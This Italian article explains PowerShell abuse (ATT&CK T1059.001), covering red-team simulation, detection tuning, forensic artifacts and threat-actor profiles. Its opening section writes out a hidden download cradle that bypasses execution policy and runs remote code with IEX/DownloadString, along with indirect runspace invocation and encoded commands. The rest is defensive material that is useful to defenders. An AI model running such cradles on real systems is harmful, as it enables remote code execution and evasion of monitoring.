Abuso di PowerShell: Command and Scripting Interpreter: PowerShell (T1059.001)

L'obiettivo in un red team engagement è dimostrare come PowerShell possa essere sfruttato nelle diverse fasi post-compromise, dalla download cradle iniziale fino all'esecuzione in memoria. Il punto di partenza classico è la download cradle con bypass della policy:

powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('<URL-payload-lab>')"

Questo singolo comando scarica ed esegue codice in memoria senza scrivere nulla su disco, replicando il comportamento di decine di malware documentati come Emotet, QakBot e TrickBot. La flag -WindowStyle Hidden nasconde la finestra all'utente, mentre -NoProfile evita il caricamento di profili che potrebbero generare rumore.

Per simulare l'invocazione indiretta — quella che bypassa il monitoraggio su powershell.exe — puoi usare un eseguibile C# che carica l'assembly di automazione direttamente:

Add-Type -AssemblyName System.Management.Automation; $rs = [System.Management.Automation.Runspaces.RunspaceFactory]::CreateRunspace(); $rs.Open(); $pipeline = $rs.CreatePipeline(); $pipeline.Commands.AddScript("whoami"); $pipeline.Invoke()

Questa tecnica riflette ciò che fa PowerLess, malware scritto in PowerShell che opera senza invocare powershell.exe. Per testarla in laboratorio è sufficiente compilare il codice con csc.exe, il compilatore C# nativo di Windows.

Per la fase di post-exploitation, Empire (open source) resta il framework di riferimento, con moduli per credential harvesting, lateral movement via Invoke-PSRemoting e persistenza tramite scheduled task. PowerSploit (open source) offre moduli come Invoke-Shellcode e Invoke-Mimikatz, entrambi citati in campagne reali: FIN7 ha personalizzato un invocatore di shellcode di PowerSploit chiamato POWERTRASH, e menuPass lo ha usato per iniettare shellcode.

Per testare l'encoding Base64, tecnica adottata da BlackByte, Aquatic Panda e nella campagna Frankenstein:

powershell.exe -EncodedCommand <stringa-Base64-del-payload>

La stringa si genera con: [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("Get-Process")).

Infine, per replicare lo scenario di Cobalt Strike (a pagamento), il beacon include nativamente un modulo PowerShell che esegue payload su host remoti senza toccare disco. In laboratorio, Sliver (open source) offre funzionalità analoghe con il suo prompt PowerShell integrato, ed è un'alternativa eccellente per chi vuole evitare la licenza commerciale.

La detection di PowerShell malevolo richiede una strategia multilivello che copra sia l'invocazione diretta sia quella indiretta tramite .NET. La risorsa più preziosa è il PowerShell Script Block Logging, che registra il contenuto deoffuscato degli script nell'EventID 4104 del canale Microsoft-Windows-PowerShell/Operational. Questo log cattura il codice effettivo anche quando l'attaccante usa concatenazioni, variabili e codifica Base64 per offuscare la riga di comando.

La detection primaria (DET0455) si basa su catene comportamentali: PowerShell lanciato con argomenti encoded (-enc, -nop, -w hidden), processi padre anomali come excel.exe, winword.exe o mshta.exe che generano powershell.exe, moduli .NET insoliti caricati nel processo, e connessioni di rete successive allo spawn. I log source critici sono Sysmon (open source, richiede installazione e configurazione) e il canale PowerShell Operational.

Per la configurazione di Sysmon, l'EventID 1 (Process Create) cattura la command line completa, mentre l'EventID 7 (Image Loaded) rivela il caricamento di System.Management.Automation.dll in processi non-PowerShell — segnale chiave dell'invocazione indiretta. Il tuning raccomandato prevede cinque parametri regolabili:

• CommandLinePattern: regex per argomenti encoded/offuscati (-enc, -nop, -NonInteractive)
• ParentProcessName: filtro sui processi padre anomali (Office, mshta, wscript)
• TimeWindow: restrizione a orari non lavorativi o finestre di lateral movement
• LoadedModuleList: monitoraggio di assembly .NET mai visti nell'ambiente
• ScriptBlockLengthThreshold: soglia sulla lunghezza degli script block nell'EventID 4104, utile per filtrare il rumore generato dagli script amministrativi legittimi

I falsi positivi sono il problema principale. Amministratori di sistema, strumenti di configuration management come SCCM, e script di manutenzione generano enormi volumi di eventi PowerShell legittimi. La strategia più efficace è costruire una baseline degli script autorizzati (hash o naming convention), escluderli dalla detection, e concentrarsi sulle anomalie: script block mai visti, invocazioni da path temporanee (%TEMP%, %APPDATA%), e catene processo padre-figlio incoerenti con i workflow aziendali. L'abilitazione del Constrained Language Mode per gli utenti non privilegiati, combinata con la mitigazione M1038, riduce drasticamente la superficie d'attacco senza eliminare le funzionalità amministrative.

L'analisi forense di un abuso PowerShell produce artefatti ricchi e stratificati, a condizione che il logging fosse abilitato prima dell'incidente. Il punto di partenza è il canale Event Log Microsoft-Windows-PowerShell/Operational: l'EventID 4104 contiene gli script block completi e deoffuscati, l'EventID 4103 registra i comandi del modulo con parametri, e l'EventID 400/403 traccia l'avvio e la chiusura del motore PowerShell. Questi eventi forniscono il contenuto esatto di ciò che è stato eseguito, non solo la riga di comando.

Sul filesystem, la cronologia dei comandi PowerShell è salvata nel file ConsoleHost_history.txt, tipicamente sotto %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\. Questo file persiste anche dopo il reboot e spesso contiene comandi digitati interattivamente dall'attaccante che non compaiono negli event log. È un artefatto spesso trascurato ma fondamentale per ricostruire le sessioni interattive.

Per le invocazioni indirette — quelle che non passano per powershell.exe — Sysmon EventID 7 rivela il caricamento della DLL System.Management.Automation.ni.dll in processi inattesi. Correla questo artefatto con l'EventID 1 (creazione processo) per identificare quale eseguibile ha caricato il motore PowerShell. Il campo ParentImage rivela la catena di esecuzione: un winword.exe che genera cmd.exe che carica l'assembly PowerShell è la firma classica di un documento macro malevolo, pattern usato da Wizard Spider con macro che eseguono PowerShell per scaricare payload.

Nella campagna 2016 Ukraine Electric Power Attack, Sandworm Team ha usato script PowerShell per eseguire tool di credential harvesting direttamente in memoria. L'artefatto chiave in questo scenario è l'assenza di file su disco combinata con la presenza di script block nell'EventID 4104 — la "pistola fumante" dell'esecuzione fileless. Nella SolarWinds Compromise, APT29 ha usato PowerShell per creare task su macchine remote ed esfiltrare dati: qui i Prefetch file per powershell.exe e le entry nel registro HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU completano la timeline.

Per la ricostruzione temporale, combina i timestamp degli event log PowerShell con i log Sysmon di rete (EventID 3) per correlare l'esecuzione di uno script con la connessione C2 risultante. I file .evtx possono essere analizzati con EvtxECmd di Eric Zimmerman (open source) per l'estrazione massiva, e i risultati importati in Timeline Explorer (open source) per la visualizzazione cronologica. Hayabusa (open source) è particolarmente efficace per il triage rapido, applicando regole Sigma direttamente sui file .evtx e producendo una timeline filtrata sugli eventi ad alta severità.

Con 83 gruppi che adottano questa tecnica, PowerShell è trasversale a ogni motivazione, area geografica e livello di sofisticazione. Tuttavia, i pattern d'uso variano significativamente e permettono di profilare gli attori.

APT29 rappresenta il livello più sofisticato: nella SolarWinds Compromise (C0024) ha usato PowerShell per creare task remoti, esfiltrare dati e muoversi lateralmente nell'infrastruttura compromessa. Nella campagna C0021 ha estratto payload encoded da file .LNK tramite PowerShell offuscato. L'approccio è chirurgico, con script minimali progettati per lasciare tracce minime. APT29 combina PowerShell con strumenti come SeaDuke e RegDuke, utilizzando il linguaggio come collante tra componenti modulari.

Sandworm Team impiega PowerShell come moltiplicatore di forza nelle operazioni distruttive. Nella 2016 Ukraine Electric Power Attack (C0025) ha eseguito tool di credential harvesting in memoria, e nella 2022 Ukraine Electric Power Attack (C0034) ha usato un'utility PowerShell chiamata TANKTRAP per propagare wiper tramite Group Policy. Il pattern è chiaro: PowerShell come veicolo per distribuire e attivare payload distruttivi su larga scala all'interno di reti OT/IT.

APT28 nella Nearest Neighbor Campaign (C0051) ha sfruttato cmdlet nativi come Get-ChildItem per accedere a credenziali, privilegiando tecniche living-off-the-land. Questo profilo si distingue per l'uso di funzionalità PowerShell "legittime" piuttosto che di framework offensivi, rendendo la detection più complessa.

Sul fronte ransomware, il pattern è distinto ma riconoscibile. Storm-0501, BlackByte, Play e il Medusa Group usano PowerShell per disabilitare Microsoft Defender, eliminare le shadow copy e distribuire payload lateralmente. Akira lo impiega specificamente per credential harvesting e privilege escalation. LockBit 3.0 e LockBit 2.0 sfruttano PowerShell per modificare le Group Policy, un pattern condiviso con Sandworm ma per finalità estorsive anziché distruttive.

Il cluster iraniano è particolarmente attivo: APT42, Magic Hound, APT39, OilRig, MuddyWater, Fox Kitten, CURIUM e HEXANE usano tutti PowerShell, spesso con tool personalizzati come CharmPower, POWERTON e PowerExchange. OilRig nella campagna Juicy Mix (C0044) ha usato script PowerShell per il furto di credenziali in Israele. Questo gruppo nazionale mostra una preferenza marcata per backdoor scritte interamente in PowerShell, sfruttandone la flessibilità per operazioni di lungo periodo.

Un trend emergente riguarda le campagne supply-chain e l'exploitation di vulnerabilità: nella SharePoint ToolShell Exploitation (C0058) del 2025, attori tra cui Threat Group-3390 hanno usato PowerShell per eseguire comandi encoded dopo lo sfruttamento di CVE su SharePoint on-premises, confermando che PowerShell resta il linguaggio di post-exploitation preferito anche nelle campagne più recenti.

Framework MITRE ATT&CK v16 — T1059.001, TA0002. Campagne: C0047, C0025, C0051, C0034, C0022, C0001, C0058, C0018, C0044, C0024, C0030, C0032, C0014, C0021, C0038, C0036. Detection: DET0455/AN1252. Mitigazioni: M1042, M1049, M1045, M1026, M1038. Tool di detection: Sysmon, EvtxECmd, Timeline Explorer, Hayabusa. Framework offensivi: Empire, PowerSploit, Sliver, Cobalt Strike. Integrato con conoscenza professionale per tool e procedure operative.